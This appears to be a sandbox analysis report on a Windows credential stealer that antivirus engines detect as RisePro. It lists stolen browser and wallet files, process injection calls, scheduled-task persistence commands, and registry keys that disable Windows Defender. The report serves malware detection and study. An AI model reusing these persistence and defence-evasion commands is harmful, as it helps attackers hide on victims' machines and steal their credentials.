file C:\Windows\Prefetch\AUDIODG.EXE-BDFD3029.pf
file C:\Windows\Prefetch\THUNDERBIRD.EXE-A0DA674F.pf
file C:\Windows\Prefetch\DLLHOST.EXE-4F28A26F.pf
file c:\Windows\Temp\fwtsqmfile01.sqm
file C:\Windows\Prefetch\SVCHOST.EXE-7AC6742A.pf
file C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf
file C:\Windows\Prefetch\PW.EXE-1D40DDAD.pf
file C:\Windows\Prefetch\GOOGLEUPDATE.EXE-D0E66F4A.pf
file C:\Windows\Prefetch\86.0.4240.111_CHROME_INSTALLE-AF26656A.pf
file C:\Windows\Prefetch\CSC.EXE-BE9AC2DF.pf
file c:\Windows\Temp\fwtsqmfile00.sqm
file C:\Windows\Prefetch\WMIPRVSE.EXE-1628051C.pf
file C:\Windows\Prefetch\SOFTWARE_REPORTER_TOOL.EXE-EB18F4FF.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-DE9673F9.pf
file C:\Users\test22\AppData\Local\Temp\~DF8C0F100C7231519A.TMP
file C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file C:\Windows\Prefetch\CMD.EXE-4A81B364.pf
file C:\Windows\Prefetch\DLLHOST.EXE-5E46FA0D.pf
file C:\Windows\Prefetch\SLUI.EXE-724E99D9.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-1304AE86.pf
file C:\Windows\Prefetch\PING.EXE-7E94E73E.pf
file C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf
file C:\Windows\Prefetch\GOOGLEUPDATE.EXE-C3A1B497.pf
file C:\Windows\Prefetch\IEXPLORE.EXE-4B6C9213.pf
file C:\Windows\Prefetch\DEFRAG.EXE-588F90AD.pf
file C:\Windows\Prefetch\CHROME.EXE-D999B1BA.pf
file C:\Windows\Prefetch\IMKRMIG.EXE-AAA206C5.pf
file C:\Windows\Prefetch\UNPACK200.EXE-E4DF1A4E.pf
file C:\Windows\Prefetch\DLLHOST.EXE-40DD444D.pf
file C:\Windows\Prefetch\7ZFM.EXE-22E64FB8.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-B0D5C571.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-34B7EAE8.pf
file C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file C:\Windows\Prefetch\LOGONUI.EXE-09140401.pf
file C:\Windows\Prefetch\AgGlFgAppHistory.db
file C:\Windows\Prefetch\JAVAW.EXE-D0AA8787.pf
file C:\Windows\Prefetch\SSVAGENT.EXE-0CD059B7.pf
file C:\Windows\Prefetch\TRUSTEDINSTALLER.EXE-3CC531E5.pf
file C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file C:\Windows\Prefetch\OSE.EXE-2B23CA4C.pf
file C:\Windows\Prefetch\INSTALLER.EXE-60163557.pf
file C:\Windows\Prefetch\PINGSENDER.EXE-8E79128B.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file C:\Windows\Prefetch\AgRobust.db
file C:\Windows\Prefetch\ICACLS.EXE-B19DE1F7.pf
file C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file C:\Windows\Prefetch\GOOGLEUPDATECOMREGISTERSHELL6-BB6760AF.pf
file C:\Windows\Prefetch\NOTEPAD.EXE-D8414F97.pf
file C:\Users\test22\AppData\Roaming\Exodus\exodus.wallet
file C:\Users\test22\AppData\Roaming\MultiDoge\multidoge.wallet
file C:\Users\test22\AppData\Local\Temp\nskD5C4.tmp
file C:\Users\test22\AppData\Local\Temp\nshDAD7.tmp
file C:\Users\test22\AppData\Local\Temp\nsaD6BF.tmp
file C:\Users\test22\AppData\Local\Temp\nsaD6BF.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\QdX9ITDLyCRBplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\02zdBXl47cvzHistory
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\D87fZN3R3jFeplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\3b6N2Xdh3CYwplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\02zdBXl47cvzcookies.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Ei8DrAmaYu9KLogin Data
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KvHrxJ77cmUgcookies.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\IWPfiAXUTJTSformhistory.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\IWPfiAXUTJTSHistory
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\JX0OQi4nZtiqplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\3b6N2Xdh3CYwWeb Data
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\QdX9ITDLyCRBWeb Data
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\D87fZN3R3jFeWeb Data
file C:\Users\test22\AppData\Local\Temp\VYu9OHsHVclRag1IFsByIkk8JD8NBWZW.zip
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\5lop_S5WM5ERCookies
file C:\Users\test22\AppData\Local\Temp\SetupExe(20200504224110B04).log
file C:\Windows\Prefetch\SNIPPINGTOOL.EXE-EFFDAFDE.pf
file C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\1F4WQUHZ\dropbox_logo_text_2015-vfld7_dJ8[1].svg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\niks[1].exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\override[1].css
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\networa[1].exe
file C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file C:\Windows\Prefetch\AUTORUN.EXE-EC0E27A9.pf
file C:\Users\test22\AppData\Local\Temp\dd_vcredist_amd64_20180201144548_000_vcRuntimeMinimum_x64.log
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\fsdfsfsfs[1].exe
file C:\Users\test22\AppData\Local\Temp\{E7573238-1B24-467B-B5A4-0BE967E0BF64}.tmp
file C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\U06NAGU2\mnrstrtr[1].js
file C:\Windows\Prefetch\MSCORSVW.EXE-90526FAC.pf
file C:\Users\test22\AppData\Local\Temp\IME2010imeklmg00000026.log
file C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file C:\Windows\Prefetch\CVTRES.EXE-2B9D810D.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\SOC-Facebook[1].png
file C:\Windows\Prefetch\RUNDLL32.EXE-8C11D845.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\f[2].txt
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\keys_js5[2].htm
file C:\Windows\Prefetch\WERMGR.EXE-0F2AC88C.pf
file C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-4366A668.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-87432CEE.pf
file C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file C:\Windows\Prefetch\AgAppLaunch.db
file C:\Users\test22\AppData\Local\Temp\SetupExe(20180405152131B24).log
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\syncUpd[1].exe
Process injection Process 2760 resumed a thread in remote process 2840
Process injection Process 3532 resumed a thread in remote process 2620
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000338
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000224
suspend_count: 1
process_identifier: 2620
1 0 0
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Windows\Prefetch\VBOXDRVINST.EXE-7DCD6070.pf
dead_host 5.42.64.33:80
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000134
suspend_count: 1
process_identifier: 1932
1 0 0

CreateProcessInternalW

 thread_identifier: 2436
thread_handle: 0x0000013c
process_identifier: 2432
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x00000140
1 1 0

CreateProcessInternalW

 thread_identifier: 2544
thread_handle: 0x00000148
process_identifier: 2540
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x00000144
1 1 0

NtResumeThread

 thread_handle: 0x000001c0
suspend_count: 1
process_identifier: 1932
1 0 0

CreateProcessInternalW

 thread_identifier: 2712
thread_handle: 0x0000064c
process_identifier: 2708
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000650
1 1 0

CreateProcessInternalW

 thread_identifier: 1872
thread_handle: 0x00000650
process_identifier: 804
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\EOhQhAkcbWTB_T1v1y_S.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\EOhQhAkcbWTB_T1v1y_S.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\EOhQhAkcbWTB_T1v1y_S.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000658
1 1 0

CreateProcessInternalW

 thread_identifier: 1976
thread_handle: 0x00000654
process_identifier: 2028
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000065c
1 1 0

CreateProcessInternalW

 thread_identifier: 2872
thread_handle: 0x00000654
process_identifier: 2868
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000658
1 1 0

CreateProcessInternalW

 thread_identifier: 2516
thread_handle: 0x0000065c
process_identifier: 2524
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000660
1 1 0

CreateProcessInternalW

 thread_identifier: 2764
thread_handle: 0x000001d0
process_identifier: 2760
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Program Files (x86)\Internet Explorer\iexplore.exe
track: 1
command_line: "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
filepath_r: C:\Program Files (x86)\Internet Explorer\iexplore.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000001cc
1 1 0

NtResumeThread

 thread_handle: 0x00000270
suspend_count: 1
process_identifier: 2708
1 0 0

NtResumeThread

 thread_handle: 0x00000218
suspend_count: 1
process_identifier: 2760
1 0 0

CreateProcessInternalW

 thread_identifier: 2844
thread_handle: 0x00000338
process_identifier: 2840
current_directory:
filepath:
track: 1
command_line: "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2760 CREDAT:145409
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000033c
1 1 0

NtResumeThread

 thread_handle: 0x00000338
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000410
suspend_count: 1
process_identifier: 2760
1 0 0

NtResumeThread

 thread_handle: 0x00000298
suspend_count: 1
process_identifier: 2760
1 0 0

NtResumeThread

 thread_handle: 0x000001fc
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000230
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000240
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x0000067c
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000114
suspend_count: 1
process_identifier: 804
1 0 0

CreateProcessInternalW

 thread_identifier: 912
thread_handle: 0x0000033c
process_identifier: 316
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000344
1 1 0

NtResumeThread

 thread_handle: 0x00000114
suspend_count: 1
process_identifier: 316
1 0 0

NtResumeThread

 thread_handle: 0x00000274
suspend_count: 1
process_identifier: 316
1 0 0

CreateProcessInternalW

 thread_identifier: 2472
thread_handle: 0x00000298
process_identifier: 2460
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002a0
1 1 0

CreateProcessInternalW

 thread_identifier: 1668
thread_handle: 0x000003d0
process_identifier: 1664
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003ec
1 1 0

CreateProcessInternalW

 thread_identifier: 2932
thread_handle: 0x000003d8
process_identifier: 2976
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003f4
1 1 0

CreateProcessInternalW

 thread_identifier: 2092
thread_handle: 0x00000380
process_identifier: 2108
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003e8
1 1 0

CreateProcessInternalW

 thread_identifier: 2980
thread_handle: 0x0000037c
process_identifier: 2060
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000410
1 1 0

CreateProcessInternalW

 thread_identifier: 2472
thread_handle: 0x000003f0
process_identifier: 2992
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003e8
1 1 0

CreateProcessInternalW

 thread_identifier: 2508
thread_handle: 0x00000370
process_identifier: 2660
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000414
1 1 0

CreateProcessInternalW

 thread_identifier: 3132
thread_handle: 0x0000042c
process_identifier: 3128
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Windows\System32\rundll32.exe
track: 1
command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
filepath_r: C:\Windows\System32\rundll32.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000444
1 1 0

CreateProcessInternalW

 thread_identifier: 3200
thread_handle: 0x0000040c
process_identifier: 3196
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000414
1 1 0

CreateProcessInternalW

 thread_identifier: 3828
thread_handle: 0x00000408
process_identifier: 3824
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000041c
1 1 0

CreateProcessInternalW

 thread_identifier: 1152
thread_handle: 0x00000410
process_identifier: 1464
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000418
1 1 0

CreateProcessInternalW

 thread_identifier: 3208
thread_handle: 0x000003dc
process_identifier: 3212
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000424
1 1 0

CreateProcessInternalW

 thread_identifier: 3396
thread_handle: 0x0000040c
process_identifier: 3372
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000420
1 1 0

CreateProcessInternalW

 thread_identifier: 3540
thread_handle: 0x00000408
process_identifier: 3532
current_directory: C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E
filepath: C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003d4
1 1 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2028
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 2028
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 2028
1 0 0

NtResumeThread

 thread_handle: 0x00000130
suspend_count: 1
process_identifier: 2868
1 0 0

NtResumeThread

 thread_handle: 0x000001b0
suspend_count: 1
process_identifier: 2868
1 0 0

NtResumeThread

 thread_handle: 0x00000130
suspend_count: 1
process_identifier: 1664
1 0 0

NtResumeThread

 thread_handle: 0x000001b0
suspend_count: 1
process_identifier: 1664
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2108
1 0 0

NtResumeThread

 thread_handle: 0x0000014c
suspend_count: 1
process_identifier: 2108
1 0 0

NtResumeThread

 thread_handle: 0x000001c4
suspend_count: 1
process_identifier: 2108
1 0 0

NtResumeThread

 thread_handle: 0x00000210
suspend_count: 1
process_identifier: 2108
1 0 0

NtResumeThread

 thread_handle: 0x00000228
suspend_count: 1
process_identifier: 2108
1 0 0
Bkav W32.AIDetectMalware
tehtris Generic.Malware
Cynet Malicious (score: 100)
ALYac Gen:Variant.Ser.Zusy.4824
Cylance unsafe
VIPRE Gen:Variant.Ser.Zusy.4824
Sangfor Suspicious.Win32.Save.ins
BitDefender Gen:Variant.Zusy.534333
Cybereason malicious.f4bbbf
Arcabit Trojan.Zusy.D8273D
Symantec ML.Attribute.HighConfidence
Elastic malicious (high confidence)
ESET-NOD32 a variant of Win32/Packed.Enigma.AAF
APEX Malicious
Avast WAT:Blacked-E
ClamAV Win.Trojan.Scar-6903585-0
Kaspersky VHO:Trojan-PSW.Win32.RisePro.awm
MicroWorld-eScan Gen:Variant.Zusy.534333
Emsisoft Gen:Variant.Zusy.534333 (B)
FireEye Generic.mg.2f9214f932a930a4
Ikarus Trojan.Win32.Scar
Google Detected
MAX malware (ai score=87)
Antiy-AVL Trojan[Packed]/Win32.Enigma
